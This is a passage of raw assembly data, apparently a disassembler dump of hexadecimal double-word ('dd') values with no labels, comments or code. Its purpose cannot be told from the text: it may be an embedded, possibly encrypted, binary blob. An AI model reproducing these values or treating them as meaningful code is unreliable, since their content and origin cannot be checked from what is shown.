53013948h, 2CC86951h, 0F093B988h, 824C2455h, 9E3013A4h dd 0D9F711EEh, 80A88872h, 6BEE8690h, 0A4B81A26h, 0E8A4CBF4h dd 1E42D600h, 78F2AC2Fh, 2319C040h, 67962EBCh, 0FBFAFCFEh dd 57D52809h, 228B1Ch, 0F309D6B2h, 7E200395h, 0FE5A8BCBh dd 428E3DE1h, 0E93087CCh, 841811F1h, 803088E4h, 62F1E1CCh dd 0E314D9A4h, 0D903A64h, 0C15FB852h, 0DADC4E61h, 54A95C68h dd 7C30D6BDh, 6715246Bh, 0E4F4407Ch, 4600716Eh, 93F7F069h dd 147D78D0h, 0C00598A1h, 0C10361Dh, 454949DBh, 0B1DE2F70h dd 8B727B80h, 0C5AD9C3h, 4D223E4Fh, 0D4126729h, 9CDC8590h dd 0C2C10CFh, 10CAE5ACh, 0D6C05DC8h, 0E0F3E690h, 46409837h dd 1FF402E1h, 1CFB2898h, 78FC602Eh, 267BD700h, 0A021E0C4h dd 6A9F8DB8h, 0CF2CF8C6h, 0D9F4EE41h, 91000E8Ah, 12C2EE87h dd 0D904E331h, 78BA07Ch, 6D11A300h, 537A9281h, 0E176DF00h dd 0E94FB113h, 52970694h, 48315582h, 0E7F5FA0Bh, 9BBE80AFh dd 0FDDC15BAh, 0F0D49C50h, 648091BEh, 0EE986011h, 82D923F5h dd 9E00A911h, 0F6D8EE80h, 0A033A6A8h, 0ACB05887h, 0D41FBA05h dd 18C460FCh, 0CF2CF642h, 77707C17h, 0B0420F10h, 0EF8058E9h dd 0A92490A4h, 490D7800h, 67E03350h, 0FFF0A15Dh, 420A1B18h dd 2C6FCFE9h, 71137650h, 0CC570042h, 6F62D36Dh, 0F004743Fh dd 0A97F160Dh, 5AC84CCBh, 9ADEF9C0h, 9D3613B4h, 28AE048Eh dd 9F08905Eh, 8C0FA912h, 0E0A54D82h, 0AC161BE9h, 0E6C9044Bh dd 0C2EBF6A2h, 76204C5Ch, 5636C777h, 9902C01Eh, 9AD9EAEEh dd 9F10B631h, 8300EE81h, 0F5C492B7h, 9E1BB3D6h, 35465E60h dd 74802E3Ah, 43EAA55Ch, 3E0D9B6Ah, 0D0A11ED8h, 5ABC6428h dd 9F7D008Ch, 4C5D85BBh, 24003606h, 0A014D6ADh, 4854B1F5h dd 0B5FC3C58h, 3C45588Ch, 3282933Ah, 7E419CD9h, 0A1E7C71h dd 348006DEh, 0CFAB5891h, 2C4407B1h, 70BB4E82h, 0B5A58764h dd 0D193E500h, 0DFEE7E18h, 44FCB8F7h, 2F009AA0h, 0CC61DD26h dd 113CB17h, 0C2D9923h, 0F784C33Ah, 0A84072D2h, 740F6695h dd 0F862CCA0h, 2C487E80h, 5444A4Eh, 0CE98CAFAh, 0C12B88BCh dd 0F45DF59Dh, 8701756Fh, 0D8490B2h, 0FC645C1Ch, 22DC8BE1h dd 82E82038h, 0FB001011h, 8BE4DA9h, 405F43Ah, 94DC501Ch dd 8E3C85DEh, 0C05D88D8h, 266074E9h, 588F419h, 1C730648h dd 5C302BA2h, 0BD305D5h, 0C0BE110Ah, 4CD93E60h, 0C9092492h dd 84A694FCh, 0CA52DA28h, 0C058C8D4h, 0CB820715h, 21266102h dd 68040D24h, 420AC84h, 653E5D69h, 31DCA2D3h, 0E4CF417Ch dd 80897471h, 581AEE64h, 0B5596871h, 5E480818h, 0AFE60018h dd 0CA9851E8h, 18FC25CFh, 10BAB881h, 0ACF869A9h, 0A02D033Eh dd 5D2C1524h, 0EEC9D804h, 0B88068BAh, 28CC1817h, 9D42AD0h dd 7EA39ADAh, 5CE4B045h, 0BA306660h, 0E3CA4917h, 2A23483Ah dd 0D0304D00h, 47D8E86h, 565318DFh, 8FA0B34Bh, 0F8DE33DDh dd 0BD0B80DFh, 5425FA33h, 906DC601h, 68F580A2h, 1C2BC439h dd 0EE9B01E4h, 18AAD9E8h, 839D88ABh, 0CFE4EE09h, 35B9018Fh dd 0B847AAE8h, 20E3FD55h, 406A4Eh, 0A5E76A67h, 1893163Eh dd 62AFE2ACh, 0B66BF4DDh, 0E4444558h, 5FA4602Bh, 0CB7A0012h dd 0AA01B591h, 782E25DCh dd 0E484045Bh, 0BF0087ECh, 2E1CE3D9h, 480E00B4h, 0E1039082h dd 0B1C8DC6Fh, 2CE9282Eh, 78C51B05h, 1FA0D0C8h, 5362BF04h dd 0AF8C04B3h, 0D940342h, 4E30E18Ch, 3188604Bh, 8DA793C0h dd 338504F5h, 0A4885D7Ah, 6A70AA18h, 0B851012Eh, 0B83C980Dh dd 46BCAC38h, 0F8BB008Ch, 2D41FC70h, 0A85CCB0Eh, 30D6BD5Ch dd 5404DD28h, 52982D84h, 0BCFCC490h, 0F10C91ADh, 5FD1831h dd 0FCCA6769h, 0BA18E0F8h, 88A94B24h, 125900DCh, 2277D2C6h dd 0F528E931h, 0C7FAD092h, 263E5516h, 0DA2E44D2h, 6A6B00FCh dd 9AE02C0Bh, 0D66F61CFh, 0D8C0531Eh, 0DC16092Fh, 0EF0F4A28h dd 1FEAC0BCh, 0EB4C289Ah, 0F26EE128h, 0F11E70h, 2224D1E1h dd 13F0279Dh, 3347E918h, 0A5093689h, 605B642Ch, 3D2C7A2h dd 0B8A0680Dh, 0B048559Dh, 8CB4E8DCh, 1C00D9FAh, 63EFCCD0h dd 0FAB82Ah, 0FF139AB7h, 849CD4CFh, 0FCD3CCA2h, 0CD185B59h dd 0B10020EAh, 16CC859Bh, 3013F261h, 8D91AE67h, 120094F8h dd 0DB9FFEBCh, 2FA4CF9h, 0B0D05BBDh, 147926A4h, 0E3F7C003h dd 0CE08E4Ah, 0A2674F32h, 0E81C0C49h, 1E00F63Ah, 5379C761h dd 9CA42DCEh, 0C4D77890h, 0C0008E77h, 0D7B1A19h, 25988A06h dd 81DE502h, 93805E11h, 21D72BC0h, 0A4D4C83Dh, 42A868A1h dd 5C9CAE52h, 8C34BC60h, 28699400h, 27D1722Dh, 20B026FCh dd 80D40108h, 331145E3h, 30B4B2F8h, 6C0FD9FCh, 0C0AA084Eh dd 0B112D23Bh, 948F3A7Ah, 2F4BE338h, 39AA23F0h, 287D3402h dd 0CF0B1A8h, 0D6972000h, 1186F177h, 98810F3Eh, 381FEF1Bh dd 3BCFF26h, 0AD20F39Dh, 0B837E90h, 5C3A364Fh, 0D800B623h dd 159BE43Dh, 0D65901C7h, 24CC261Fh, 0D02C7801h, 8CB6B898h dd 87822A00h, 7F8D2062h, 0DDB01AA2h, 54D9E04Eh, 0B318AB79h dd 0F31B2A00h, 0F28835B8h, 961490FCh, 6D00D62Ch, 46A4D048h dd 903C26Eh, 8D533556h, 12072C52h, 5994B76Ah, 98E09FC4h dd 2DC18356h, 5842F270h, 2A7950D9h, 4A008E18h, 3DA68FC8h dd 2F88EE2Ch, 341658ECh, 5182F47Ah, 182A7918h, 0CFF3009Ah dd 7AE05A88h, 0BE76530Bh, 0FBD961C4h, 200B28ADh, 84A3F248h dd 20584E60h, 0CC40BD2h, 4450E750h, 0BB796047h, 2D27D0Bh dd 7386A0DBh, 408EB952h, 9044B34Bh, 6941A81Ah, 79005980h dd 8118B4h, 0E18C32B0h, 0E73DCBB2h, 0A7974903h, 1730243Eh dd 8D013F69h, 0A25C238Ch, 4BCE3058h, 0C19A3501h, 0A6675D8Ch dd 40D4899Ch, 3947C2D8h, 9505BBE7h, 0BAA8E4C9h, 19A794D0h dd 3F801053h, 0E7120037h, 0B1A94482h, 0A56E2FE4h, 1071A011h dd 0CB853E5h, 3C642717h, 0C9EC639h, 0AB465Ch, 0A6957BA8h dd 0FE2227FDh, 0CE7A49h, 0CC1B3D75h, 4CEE3B82h, 0F0F98CAAh dd 641847D1h, 26E019EAh, 46A72307h, 0E9FE2867h, 5524706Ch dd 0D838A471h, 0A530EABDh, 80204845h, 380B3E80h, 0DA0946BDh dd 10FD5415h, 2845502Ch, 4E143B2Ah, 1C2053D8h, 8A011D0h dd 7C762035h, 0EB005846h, 79161497h, 8C02DCC9h, 0EA235BFh dd 78D0E050h, 24E180B1h, 0A8361A29h, 0D3185879h, 0AEE24504h dd 40C14E8Ah, 0F0795370h, 1E843B88h, 0F0BD273Eh, 0AB49526h dd 27BC6665h, 9F00A837h, 254C28ECh, 0EB100102h, 0E4519429h dd 0BF707474h, 380E005h, 3C00223Eh, 0F6DC5297h, 0E113029Eh dd 0BFF26512h, 0B444F467h, 255B8060h, 1E00B5Ch, 8C75C399h dd 303C4CE3h, 87818817h, 0CF51305Ch, 0A86054DCh, 0ACC16198h dd 7D1C12D6h, 0C8188BA0h, 0A12AC059h, 0F624F192h, 0DB09F0DAh dd 8B90E0CCh, 2C923Fh, 0B59EA77Dh, 7A7ED309h, 92A25600h dd 59254D02h, 0AC673087h, 1EC748D1h, 80A0753Ch, 0F4F82343h dd 928398h, 742680C4h, 25841B85h, 20B46876h, 0A3E0200h dd 0D301E61Fh, 23343A71h, 0FE690430h, 0DB808878h, 5CD3E500h dd 52BA0DBFh, 4010B496h, 115794F9h, 30E59500h, 0FEAAE134h dd 0D4D24C90h, 9039AD21h, 2713496Eh, 821CDBF2h, 0F810A519h dd 35840D88h, 0DCF84664h, 240B6DBAh, 6930F4FCh, 40DEFB84h dd 0E9CAA33Dh, 8FC06C69h, 1078065h, 4B0AA400h, 0FC9BE64Ch dd 0CFE000D2h, 0E35F2347h, 50C53EE8h, 748950A2h, 80F06866h dd 103B365h, 89176AF7h, 0CE89003Ch, 54DB1DAAh, 0ED000D83h dd 96A5053Ah, 70FFA245h, 96A8B08Fh, 3E8B8C34h, 0EC03F239h dd 607180C5h, 0B9B9DB2Fh, 41301918h, 48D73A2Ah, 27B09675h dd 8C79001Ah, 0D82080A8h, 0A888A15Ah, 0C06858A4h, 0CFF44206h dd 0E1B0074Ch, 98701E71h, 1CE4124Fh, 2FA421A7h, 0CCB181AAh dd 6C92234h, 5A07CE4h, 0B1A3EC67h, 5210D1EEh, 9C03282h dd 5294FB8Fh, 41EEFEC0h, 843C7855h, 0F80977D0h, 0C5402C12h dd 3A24391Ch, 0BB012C89h, 8833794Ch, 1719448h, 95307E6Fh dd 0EC262946h, 0C70BFA47h, 0C09B780Ah, 4FE4C8DCh, 0DAA881D4h dd 0BC8C3868h, 68008C5Fh, 0D95BEFE5h, 598028B0h, 0E8176011h dd 8E848169h, 529600A0h, 0BF7CA084h, 241C20CBh, 0FC918B4Fh dd 0CAC02DA1h, 54F101A4h, 80ECE99Dh, 0FFC2D306h, 1820B092h dd 0A4CB5412h, 0C9EEB702h, 60D24AD0h, 25F31F68h, 0F037E0B1h dd 84CD0E81h, 1AEC8B43h, 2C9989h, 0B98EB4CAh, 7906BD95h dd 1EDA3E98h, 0FB79C7E1h, 0BDCCACAh, 34CC5D30h, 420E645h dd 0F7058CE0h, 0C3289F1Fh, 63C41CE2h, 6CECC0FFh, 0B704FAC9h dd 35CC6AB2h, 0A0933CB8h, 64300770h, 0B38CC9A7h, 3D053AB0h dd 0B489B900h, 0C742767Bh, 0AC7930B1h, 952D0118h, 2D144862h dd 0F9B499F1h, 3E31831h, 0E46A13B7h, 0C105A018h, 7B973DD1h dd 53A384C2h, 3D6DD038h, 258DFB00h, 7B8CD961h, 0EA9F0729h dd 80E3C95Bh, 12969D1Bh, 0F432FB5Bh, 87A0916h, 0AF287A3Bh dd 91F017BCh, 69258044h, 3D064A2Bh, 718B5E28h, 0D8E867CBh dd 0EA00EB21h, 91D61DE2h, 92081502h, 25957914h, 5835C74Fh dd 0F4B078A0h, 96212725h, 53B33050h, 2CE4E5A9h, 0E1011F70h dd 0E34BE13h, 42E9BDAh, 0CDA33F0Ch, 0F14866FCh, 20D0628Dh dd 5C530C46h, 5B80886Bh, 0C432BA8Bh, 2A580004h, 1323BCBBh dd 67006B2Fh, 155A5FAFh, 0F6288996h, 0C6A24AE6h, 0E8B9906Bh dd 0C018B479h, 63528800h, 0CC5EF8D9h, 4A7824A5h, 899E801Ch dd 9BF00CCFh, 0A0E32907h, 2F7318A6h, 66B11C56h, 0EE80BEEFh dd 5FCF9040h, 179720F5h, 1346BDFCh, 64202855h, 362D7F2h dd 5992D0C2h, 0E4850CB3h, 4453E620h, 30A8A278h, 50028E66h dd 0FBD9C407h, 6630CA10h, 946C0010h, 694B9A3Ah, 1201CC42h dd 6E0A6A34h, 4284492h, 508C58BCh, 2DC6FC24h, 0D8B71A21h dd 0B4068704h, 0A9201CA8h, 0FAE6722h, 5E666977h, 871959E0h dd 2800B840h, 0C99BB4A9h, 3194D5CBh, 0FC513C8Bh, 0FE46DCF5h dd 0D475B900h, 21588E38h, 9F70BFFDh, 0B1DEA650h, 140B3C98h dd 9DF3717Bh, 84591104h, 0B8802A11h, 0B77BB5Fh, 0BAE179EFh dd 52440058h, 3D310084h, 0C94D1E9Fh, 993F82F0h, 0D8A40F7Dh dd 50280227h, 0B4F4786Eh, 0EFA760E0h, 182AC3D9h, 544E0DEh dd 0EEC6729Fh, 0E5BC1FD0h, 9783FCECh, 46F180D4h, 0C74D4802h dd 0DA223E13h, 2E4C24h, 323BBB81h, 0ACC0D068h, 0B9787C00h dd 5A556D46h, 14977053h, 0C4CA20E9h, 3E018720h, 0F363913h dd 51804E79h, 9D28EB4Ah, 5492036Dh, 47107CBCh, 0C9CC251Eh dd 945BEE34h, 24EAAD78h, 808E178h, 0EE1683A8h, 14E54A0h dd 0FBD594F3h, 80502F20h dd 76938C39h, 7F4226h, 0CDC5F905h, 0E2EB4B44h, 5E2ED40Eh dd 16CB3450h, 0C0EAE831h, 0C0DA3A64h, 2621600h, 0E3BC2FFCh dd 0A6E0001Eh, 37FB4C4Ah, 6613CF20h, 4D05FE8Bh, 0F2BB9058h dd 3017E205h, 0C20625BAh, 2850F0Ah, 0FB8B001Bh, 0FF9D03BFh dd 0FCB76A4Bh, 8B3EDCF0h, 79F9970Fh, 0E8F8C8FBh, 0E1270567h dd 9D71B010h, 0A5BD1989h, 0B35E2012h, 5B203A6Eh, 0F740BE29h dd 0F725B1C1h, 3B900050h, 81ACEB7Dh, 94016DF8h, 2A1229A8h dd 7088428Ch, 5F0E2CE9h, 885E6FFh, 0F274B70Eh, 0E1D465Ch dd 401B747Ah, 0E16E639Ah, 8DCB0507h, 0BAAF499Dh, 0C711C8E0h dd 2FD3FF71h, 8B73D50Ch, 559B518h, 0F709E90Ch, 30DDD4ADh dd 5E196CF4h, 0F2FAF52h, 0D1001623h, 0B589E74Dh, 6A0760A1h dd 25E6C0BFh, 0BD816206h, 7F162A5Dh, 0F36C1D0h, 83014F86h dd 0B9B52B0Ch, 3200C14h, 8B2DA9BDh, 29699D1Fh, 0E800483Eh dd 5C008C1Bh, 7069BEF8h, 1C6FF06Eh, 2FE381F9h, 38BD77h dd 86CEB526h, 0B24774Ch, 0DF2D5CDBh, 0CDDD328Bh, 286C60D1h dd 261EEB7Fh, 890EF3EDh, 0F8112D8Dh, 15394C41h, 0BFB18303h dd 6D34417h, 493A84A1h, 0A706658h, 0EFE8E2D8h, 0A27400B8h dd 9344D550h, 0BE9F00A7h, 7F265BBCh, 0ADE5E95Eh, 89B5F527h dd 0C762AE82h, 1478685h, 1A0F791Fh, 112FE9F2h, 14120F42h dd 0E7373992h, 5BC07580h, 3AF78D59h, 104812A8h, 0ADBD8BC1h dd 810C8310h, 97FEFF23h, 0DEF23Ah, 337646D1h, 8C663177h dd 7D60DB65h, 0C3F6CA42h, 0F1C08E04h, 609D5326h, 0AF8572E9h dd 0D099C72h, 3844Ch, 271EF75h, 74943E29h, 5F616004h, 0CD0DC15Eh dd 0D558AF2Fh, 0AC8040B5h, 0BF6650FDh, 898109B9h, 7822404h dd 0E903267Dh, 0AF535EFCh, 0AB28C06Bh, 0B0FE28EBh, 0E6F114E8h dd 18B82570h, 0BA1B018Ch, 0F3C5073h, 40072287h, 54041ADh dd 0EB715BE4h, 0B5073F6Bh, 31B70FFFh, 25BD8509h, 0D8B6E499h dd 0EF0A8F90h, 3BBA0C51h, 5908D024h, 0C38B021Bh, 0EA82E8C1h dd 0D3FD0E8Ah, 0BA860064h, 506430B0h, 7EBE8713h, 22217404h dd 0E2F76602h, 599D7BF7h, 8A34FC3Dh, 0B0AA3900h, 2B908CC0h dd 37F6BFD8h, 9E8C00D6h, 0B61C09A9h, 0ACA123A0h, 89500125h dd 0B64124EDh, 0FF012A85h, 5BCB32B5h, 1436BEEh, 18A8CD2h dd 0A8414E1Ch, 5BA01981h, 0B31A7BAEh, 0A7DDD027h, 1C2FF95Ch dd 5029B0F7h, 6B181B71h, 89B81E01h, 9228A9EFh, 0B97E5D21h dd 5078ACD4h, 41B1FA71h, 0F9354328h, 22659DC8h, 0AF205D91h dd 230BE530h, 753CF0BFh, 3B831261h, 2D3B2102h, 5B4E2322h dd 5DD6BFAh, 0A67EC4F0h, 29FA9109h, 8069BD6Bh, 0E68ABBF8h dd 8690037Bh, 0BCE03FADh, 12058B46h, 5709C57Dh, 379AABA8h dd 6C024ACEh, 5DE08BDDh, 0B49115D9h, 0D3BB5797h, 10009492h dd 9EF62DF5h, 1FE06193h, 400FF883h, 6DAFFC82h, 5E48A831h dd 8C1DF8AAh, 0F031050Fh, 54FCE0C8h, 0B108FA86h, 32AA80B2h dd 0E356821h, 0F3E7809h, 9D6CB08Ch, 585F8002h, 20B83348h dd 0F90C20Ah, 45EA2F88h, 23E2FD4Dh, 0B0FADDAAh, 1051B907h dd 7557B03h, 0BD60CCCh, 0C183C30Dh, 10CE43F5h, 1729559Ah dd 0C609D93Bh, 213FEAh, 3630529h, 98B0A39Ch, 66ED94Bh dd 3325B505h, 0E26780ECh, 0C159F620h, 539738B5h, 301BE295h dd 9C0222F1h, 61A7ED0h, 80BBCCA2h, 810CE987h, 0A1FD7F5Bh dd 8603BEACh, 800668BCh, 0B6EBC52Bh, 0A2F9B089h, 0A14F01A3h dd 0B531EA2Dh, 3D7E2405h, 24083425h, 318C119Ch, 66E4AAA1h dd 0DF810057h, 602CDB6Ch, 0FC48C08Bh, 0D85F75EAh, 169E6BFBh dd 90FB0159h, 859BB5D2h, 0AB1D3E01h, 7E6F5F67h, 20E9D321h dd 0F1F78205h, 0F5BB2BC8h, 0FD3CA42Dh, 588109B5h, 0E995DE9Bh dd 79187840h, 73657021h, 77100031h, 0E7F71204h, 322054D8h dd 518B803Bh, 3D518206h, 0BC2385C5h, 1016B5FFh, 771C90FAh dd 1300229Eh, 2C0B5EF7h, 0B5B6CD6h, 0C7178C55h, 0FCB79C14h dd 76007E7Dh, 0FF4786ABh, 13692041h, 308B0FF2h, 1239B51Ch dd 2B44A5B1h, 0B79020CCh, 58D615F6h, 49106393h, 90F482Bh dd 0A28D74DFh, 9867C014h, 7C12F583h, 9A7A3D1Eh, 0C5370687h dd 14ED81BBh, 266F345Eh, 17D1BF80h, 6018104Dh, 46E781ECh dd 395299FAh, 3018E257h, 0C600966Eh, 9EBE2B6Ch, 991879B3h dd 0E82880FFh, 0E0F1BB55h, 12B93300h, 9C2CF95Ah, 0CE4E02BAh dd 40360DC9h, 589DF3F5h, 0AA5D478Bh, 0E4BCEBh, 76E3D48Dh dd 884CB1F6h, 48D42258h, 891379BFh, 3E3261BDh, 7FC7AB91h dd 0F0A772EBh, 687C2E4Ch, 45EC600h, 0F9B2420Bh, 28CF0081h dd 0E960F23Ah, 0FF71F81Bh, 16D15A99h, 9824EE18h, 0E90976Dh dd 0DEFD602Ch, 0CC95C8F9h, 8EFE7E18h, 8106B552h, 72C32CB9h dd 21C78A05h, 7FD1698Dh, 119097B2h, 39655829h, 7F1155DAh dd 1AAC91EDh, 1E18302h, 7129850Fh, 181AF1CBh, 86A60164h dd 3C862D4h, 1C922451h, 0A95B1032h, 0CC5E5529h, 1100BDEh dd 0E2F79589h, 1F5B2451h, 0B129C852h, 7C82141Ch, 726D5640h dd 0EDD41h, 90B48150h, 3226E61Fh, 0E19D8B12h, 615BF880h dd 53389060h, 6E4FC2F8h, 0D052003Dh, 6EB86D94h, 0BC580468h dd 0C98D097Ah, 0ADE30246h, 0D39EFA78h, 0DF3B00DCh, 0B8AEDDA1h dd 0CD3103AAh, 3029567Eh, 0C0D16002h, 0C1ABA700h, 4D91E5h dd 0D5717827h, 0A5F084EBh, 0C6623200h, 58DC4570h, 0ADBD2A03h dd 0D96151D2h, 0CD55A6A5h, 7DBE093h, 0C029F715h, 1797D7CDh dd 0C01399BBh, 0ED032FB3h, 0F22C6762h, 5F3B999h, 10E32020h dd 6858DACFh, 5F69ADEh, 4039A0CFh, 0FE4656ADh, 0B9AAA784h dd 182AC04h, 6F9B6727h, 210937FAh, 0A1F97E21h, 6D004DACh dd 0E4EA94D7h, 61FCFE7Ch, 1ECFFE0Bh, 57E8D0AAh, 1D495DE2h dd 8C19AC4Eh, 4550B200h, 8BC7B8FCh, 840F27D6h, 2675F118h dd 0ED278282h, 0E87F0B0Ch, 351C17h, 11E8C4AAh, 0ED2268C8h dd 912C7762h, 0F281001Bh, 2DEAE7FAh, 0B512A7B8h, 29341995h dd 800E2A48h, 462C1B8Ch, 0F600A37Bh, 1E4F7A44h, 0A6CC2434h dd 0AE2B5ED5h, 1C23D73Bh, 0C7203F00h, 731B4057h, 0AA7A4A70h dd 55F85EC8h, 0AC20618Bh, 1D3DA9DFh, 79C5BE17h, 88B3FB02h dd 404AD81Eh, 311D1C5Eh, 0EC00CB78h, 0C17CFDC8h, 48B2FA50h dd 292E0C9Fh, 0DA082752h, 0B69DA7E2h, 0FE871C91h, 13C79048h dd 0F0281F0Ah, 612FB436h, 2D5E2221h, 0E4FD0B1Ah, 0EE810223h dd 53F8439h, 8F3DD986h, 12A270B0h, 2AF1FB10h, 346F394h dd 0B418880Dh, 0E9A191DDh, 0CF43C84Dh, 56810CBh, 2A40901Bh dd 10FB33FCh, 9A8DBD29h, 0FFAB82A3h, 8258E55Bh, 20885F0Fh dd 85C7CB9Dh, 55E97B94h, 6072607Bh, 0D31F352Bh, 9CE79BA5h dd 0DF94300Bh, 0A0EAF1E8h, 0F58E0A00h, 0AAA7380Eh, 89A9091Eh dd 0ADC8E96Eh, 5407DC95h, 58104026h, 7EB5E50h, 0E99D2F61h dd 1A91231Fh, 0ECE0E480h, 8A3C098Fh, 1393D8FCh, 766F5ACEh dd 88F3C400h, 0AA5C9513h, 78CE514h, 21B110FCh, 0EBC10076h dd 0E09104Bh, 0C53C3C2Fh, 0ACDA001Ah, 0D2D41CA4h, 0E0E4E25Ch dd 31340ECEh, 27A11BF5h, 0E4D129B3h, 0C70FDD5Bh, 9F17E62Ah dd 6787DF9Eh, 10AA6DBh, 4128007Ch, 7DD427E6h, 0E92CC372h dd 0F4A05C19h, 4E0D5D0Bh, 0A94EDD06h, 0E3203845h, 0DDA405EBh dd 7B8CA8Bh, 904C22Ch, 83C7876Dh, 0A88DF080h, 0CCD500E8h dd 6BC6B93Eh dd 8B2F55B7h, 1F5B37C0h, 0EDE70096h, 0F355ABAh, 97918A49h dd 2104DFABh, 5D09113h, 0B7159D8Dh, 88FEF6EAh, 81AA111h dd 4DC9B662h, 0F61FC049h, 8D263198h, 0B58CDCBDh, 3966A2C8h dd 9FDE7B9h, 52266185h, 0C88AEAB0h, 0A53ABB00h, 0AFF6BC74h dd 10CC3BC7h, 9436F98Fh, 9D0996C1h, 9059248Dh, 51525003h dd 9B310F5Ah, 9A1FC558h, 7E7372Dh, 62F31683h, 4A80E80Ah dd 4EB1A86Ch, 0BE761B00h, 8DB4ADFh, 9DC0058h, 68BA8E89h dd 0C1209501h, 0DC5F6424h, 0C380401Eh, 0E78A50D0h, 6F49787Ch dd 0C89170BDh, 11E12CB0h, 0AC7A95FFh, 378B3084h, 1A63F580h dd 83498589h, 0DF9C302h, 2F1FB303h, 35DF082Bh, 0D2B2809Ch dd 5F84289Bh, 7F99A21Eh, 2B5D6E32h, 0AC801337h, 1E462994h dd 345B09EDh, 0E887B323h, 140384BDh, 1361125Eh, 5FA5F433h dd 6F6BBE43h, 9EFDE20Bh, 12D66F5h, 2F53BF66h, 0E1B70968h dd 0D94970BAh, 0C9DC8150h, 1A52F001h, 7558D33h, 0A87C4C7Dh dd 28BA66FCh, 1EFFF22Ah, 0AF517D21h, 527B11D7h, 59CAE140h dd 60D02FFFh, 7C1EA05Fh, 7D94547h, 43ACADB1h, 7DF030CCh dd 900472C2h, 5A25B26Dh, 6A0E3E80h, 0B9615153h, 11A78704h dd 0C9E158A0h, 40FA8E18h, 0A360C4BAh, 191BFAB2h, 0DB1A15F6h dd 809838C8h, 0F5AE1EF3h, 0E22971E8h, 306031B5h, 828A17F3h dd 56160D1h, 0C4FDA4E8h, 0DB79B200h, 53926B91h, 0E059495Ch dd 91D8BA40h, 0BB600168h, 0C0D621B3h, 617F0FB6h, 2048B7E0h dd 87929E54h, 0D160E322h, 1DC300C1h, 0AACFC89Eh, 0DCEF7600h dd 97738FF6h, 395D0125h, 5158615Bh, 38953189h, 58C84C02h dd 0EFA577E8h, 46742824h, 0A5260019h, 0E9EB28E8h, 4195258Bh dd 0DF81F280h, 0A22DA058h, 0B2A54217h, 3DF3FD1Bh, 3D844B58h dd 0B989E750h, 9F0217EAh, 0B6021359h, 103B438Dh, 51129514h dd 23F70822h, 0E5832B0h, 0B909FA9h, 2A66B3CDh, 726EABh dd 0D53475BFh, 49FABA70h, 568A22D4h, 8D9088Bh, 6EAA6807h dd 0B4EB91D5h, 0C000AE39h, 0EBC5E79Ah, 1ABF1D4h, 91A1CBDBh dd 24738C71h, 0FE138FCEh, 2CC2431Ah, 0C4DF9418h, 100C5518h dd 0D8DAA4B5h, 0D08B99C2h, 15067241h, 1455A381h, 3E5C79BFh dd 9530F30Ah, 24A721B3h, 0ECC43A8Ch, 0A62D6500h, 0FCC9CF3Dh dd 0AB0D0ADCh, 0C2905A5Fh, 8261896Ch, 29680025h, 9D6D79B4h dd 0A98D8287h, 8164B21Ah, 9BBA08D5h, 95044514h, 5F97BCDCh dd 304E6E1Dh, 83A1EA4Eh, 0F4D3280Bh, 802DF0ACh, 0BE1D6660h dd 173EA005h, 0C9EB61D7h, 0A23733D0h, 6F553018h, 575F1475h dd 1F2124AFh, 0B72154AAh, 8DD63093h, 7B0020A3h, 0FABD69F5h dd 308809Dh, 53E9C147h, 10E5EE1Dh, 0F87F43DCh, 525B65D1h dd 0F661844Dh, 5DA5F092h, 2730FF6Ah, 46F8AA21h, 6824E18Ch dd 85854FB5h, 0CCF261h, 70A39D2Fh, 0AD9B458h, 59FEB362h dd 0F88B08DDh, 3498624h, 0E71996C3h, 2E7B8809h, 0FB8A4D20h dd 0ED00C679h, 6ABF724Bh, 0C2101AEh, 0F53FA171h, 47EBE85h dd 59E789A0h, 9C4148Dh, 254FB5h, 86C780F7h, 3D04BE68h dd 0FEB1C011h, 0C2422390h, 6E3F5BEFh, 0F8EE0157h, 70374B50h dd 5F957120h, 3757FB11h, 6B8048DBh, 0CDCCF251h, 16BBE548h dd 0D227B1BDh, 25481987h, 15CADA10h, 24397C04h, 0AEC31A73h dd 1909C85h, 0B6CD8D29h, 0C3810076h, 19F3127Fh, 0ECCD9AD2h dd 677DBA98h, 7CB0D668h, 0D22CB64h, 0AB9CC8Ch, 35ECDEE5h dd 0EE8A09B3h, 752AC718h, 7A34F12Ch, 0A7F9909Fh, 4FAC450h dd 7B1BD96Fh, 601DCC66h, 9F0029F6h, 17BA7716h, 9B0871D5h dd 12232401h, 1DCE0490h, 0B6A042Bh, 10A5FEC1h, 26A70D05h dd 974C35EFh, 79499029h, 181C450h, 0BD657C81h, 0D0A8689Eh dd 0F71ABB63h, 0C12CAD96h, 26299068h, 0A60E56B8h, 0C13BCE10h dd 924C5302h, 6D89D745h, 0A37A7840h, 30B5348Dh, 0D85C9BAFh dd 97FC9CCh, 493F8582h, 9BDDABA8h, 34C8F250h, 310FBF24h dd 60662DAFh, 0C7D142B9h, 20DC9469h, 9612594h, 0A0306C5Fh dd 0C030A51Dh, 59B7D019h, 2791B58Bh, 12BB6600h, 7A85C7A8h dd 2E189F51h, 0A8988960h, 10E58BDFh, 161D0Ah, 94D460E5h dd 6EB782B1h, 42AE4D1Dh, 0F3E4A879h, 7E806109h, 0F8B0F020h dd 60F58002h, 59D290Bh, 994C13h, 0E343514Ah, 0CEA6C57h dd 0BD1DF000h, 0F31FC306h, 0DD148F5h, 0E6204612h, 0AC0EE0ADh dd 7FC391Ah, 29950905h, 6EBF970Fh, 0DE9A30E9h, 2FFB8309h dd 7EB8278h, 0CD89967Bh, 8E7182C0h, 0C8A1C9FAh, 4BF79231h dd 0E8B0C3E7h, 3402B0FEh, 0FD36A026h, 70FBDB40h, 1501B3C6h dd 293E092Bh, 97640D95h, 0AF385D80h, 0B613EB5Eh, 81054C08h dd 693ED1B9h, 0CCA97B1Ch, 48FFB100h, 59DBB356h, 0FC5C40CAh dd 0DEFB7617h, 27C78006h, 783BED2h, 4694733Eh, 0AA0C640Fh dd 1BDFB5BDh, 7E860B89h, 84222F7Fh, 7574BF37h, 0F2363B45h dd 0E3A1694Eh, 587EF357h, 530505D9h, 7DB50179h, 40091BACh dd 3ACBBD83h, 0F5846285h, 0FEBD0B78h, 9DBA409Ch, 2B59DAA5h dd 5EDE20ACh, 5440EB50h, 0CFE8E277h, 37900CAh, 0AC0A2EB2h dd 3D078496h, 7AD5A695h, 9D099070h, 0AD849DEDh, 4F7CE603h dd 2E81A7DAh, 0DC23C141h, 0B2513EE0h, 52FC7BB8h, 3521C6CBh dd 202DD8Dh, 4865C58h, 0C150AF4Fh, 35C4BC2Fh, 0F8349752h dd 0FFD1BC12h, 4C93D6BFh, 205A165Ah, 0E9CB8172h, 4F31D704h dd 4483C00Bh, 0DB794B79h, 0B79C8087h, 9601558h, 0C5C46BB8h dd 9BB5FF87h, 